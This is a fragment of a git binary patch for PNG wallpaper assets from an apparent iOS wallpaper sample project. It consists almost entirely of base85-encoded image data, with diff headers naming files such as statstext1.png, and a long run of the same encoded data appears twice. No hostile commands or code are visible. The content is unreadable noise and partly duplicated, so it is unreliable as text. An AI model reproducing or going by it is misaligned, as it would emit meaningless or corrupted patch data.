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 Xx{c>Q(^h{UtkzJ`QLcRS^!fh*v+($V literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1.png new file mode 100644 index 0000000000000000000000000000000000000000..de49681567b62b83a7abafd3ba6889b4b11db6de GIT binary patch literal 11680 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 